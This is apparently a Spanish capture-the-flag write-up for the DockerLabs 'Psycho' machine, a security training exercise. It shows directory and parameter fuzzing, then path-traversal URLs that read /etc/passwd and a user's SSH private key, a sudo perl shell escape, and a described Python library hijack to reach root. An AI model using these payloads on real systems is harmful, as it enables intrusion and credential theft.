> For the complete documentation index, see [llms.txt](https://propus.gitbook.io/hackbook/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://propus.gitbook.io/hackbook/writeups/dockerlabs/psycho.md).

# 🟩 Psycho

🧠Dificultad: Fácil | 🔓15/03/2026

## 🕵️ Reconocimiento

Comenzamos con un escaneo de puertos con `nmap`:

```bash
nmap -sC -sV -Pn $IPTARGET | tee nmap
```

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FGdpd6VtbVn4IPEkSvDNz%2Fimage.png?alt=media&amp;token=5b286d49-c71a-41f5-b3d4-afff0e39b25d" alt=""><figcaption></figcaption></figure>

Tenemos abiertos únicamente los servicios HTTP y SSH. Realizamos un escaneo de directorios con `ffuf` al servicio web:

```bash
ffuf -w /usr/share/wordlists/SecLists-2025.2/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u "http://$IPTARGET/FUZZ" -e .html,.php,.txt,.xml,.js
```

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FfALjhbdaaX1tsgct86JX%2Fimage.png?alt=media&amp;token=dac487eb-611e-40a1-952a-626081ecd1c9" alt=""><figcaption></figcaption></figure>

No hay nada que llame la atención, por lo que nos metemos desde el navegador para ver el contenido de la página.

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FOtgIs9hrhOXqXxvxcQ9l%2Fimage.png?alt=media&amp;token=135aa297-2a5e-4e3f-a629-5573f5710aee" alt=""><figcaption></figcaption></figure>

Al final de la página aparece un mensaje de error. Es posible que esté intentando procesar algún parámetro, ya que estamos ante un fichero `.php`. Con un escaneo usando ffuf encontramos el parámetro oculto. Usamos de referencia el tamaño del contenido devuelto por el servicio.

```bash
ffuf -w /usr/share/wordlists/SecLists-2025.2/Discovery/Web-Content/burp-parameter-names.txt -u "http://$IPTARGET/index.php?FUZZ=test" -fs 2596
```

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FDxglVtkyfG27NEH4lAy6%2Fimage.png?alt=media&amp;token=c0e0a494-b2f8-449b-8107-b157717cf807" alt=""><figcaption></figcaption></figure>

El parámetro oculto era secret. Comprobamos si este parámetro es usado para mostrar el contenido de ficheros. Probamos con un fichero que se encuentra dentro del directorio `assets`, que conocemos porque hay directory listing habilitado.

```
http://172.17.0.2/index.php?secret=assets/background.jpg
```

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FTVPD0PLHn64DAyKXAPRd%2Fimage.png?alt=media&amp;token=b072f350-601f-4df3-94d6-01e4e4c752c0" alt=""><figcaption></figcaption></figure>

Efectivamente podemos leer ficheros a través de este parámetro.

## 🚪 Ganando acceso

Leemos el fichero `/etc/passwd` para obtener los usuarios de la máquina.

```
http://172.17.0.2/index.php?secret=../../../../../../../../etc/passwd
```

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2Fc5XEvKTb7wwyzm4nasvY%2Fimage.png?alt=media&amp;token=27bfa8aa-ab41-472a-8361-04daae638227" alt=""><figcaption></figcaption></figure>

Probando fuerza bruta con los usuarios `vaxei` y `luisillo`, no encontramos nada. Si intentamos coger la clave RSA para conectarnos por SSH directamente a la máquina, vemos que podemos leer la clave del directorio personal de `vaxei`.

```
http://172.17.0.2/index.php?secret=../../../../../../../../home/vaxei/.ssh/id_rsa
```

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FhvB2YsEdIBR69sooU2Wo%2Fimage.png?alt=media&amp;token=15952010-c22c-4e26-8b09-bb21d7c18f76" alt=""><figcaption></figcaption></figure>

Copiamos el contenido en nuestra máquina y nos conectamos por SSH.

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FB71Hw2Wf5GfwC6yLkInd%2Fimage.png?alt=media&amp;token=f60a08cd-1577-49ca-b5f8-a90c4bee0a55" alt=""><figcaption></figcaption></figure>

## 💥 Escalada de privilegios

Comprobamos los permisos con `sudo` del usuario `vaxei`.

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FCxk6ematKUsBl5hk55lV%2Fimage.png?alt=media&amp;token=b5311a2a-1ad0-4baf-aade-d4f9b191e7b3" alt=""><figcaption></figcaption></figure>

Podemos ejecutar el binario `/usr/bin/perl` como el usuario `luisillo` sin necesidad de introducir contraseña. En [gtfobins](https://gtfobins.org/gtfobins/) encontramos una manera de aprovechar esta configuración:

```bash
sudo -u luisillo perl -e 'exec "/bin/sh"'
```

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FGzYaG2QKYotvIcaiOwvj%2Fimage.png?alt=media&amp;token=37fc33a5-934a-4fd6-ac0b-a3bcd93dbcbc" alt=""><figcaption></figcaption></figure>

Si vemos ahora los permisos con sudo de este usuario, encontramos lo siguiente:

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FSPHX0LeXhdVCHuvGRV42%2Fimage.png?alt=media&amp;token=22388ec7-c0f9-4335-85fd-41e9ae3520dd" alt=""><figcaption></figcaption></figure>

Podemos ejecutar `/usr/bin/python3 /opt/paw.py` como el usuario `root`. Solo tenemos permisos de lectura sobre este fichero, así que no podemos modificarlo para obtener una shell.

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FZbzNEKpSZpJP9TsXhqB4%2Fimage.png?alt=media&amp;token=5034cf32-25a8-485c-a89f-9f1a749498d8" alt=""><figcaption></figcaption></figure>

Secuestramos la función `run` de la librería `subprocess`.

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FPmnBpiaXfyWBfgQMQjlJ%2Fimage.png?alt=media&amp;token=513c5d03-f00d-478d-bf2d-ea804b207729" alt=""><figcaption></figcaption></figure>

Y ejecutamos el script con sudo.

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FI2srnDcGNFNacYkHO017%2Fimage.png?alt=media&amp;token=c127141a-33c0-4440-916d-d525fd715f61" alt=""><figcaption></figcaption></figure>
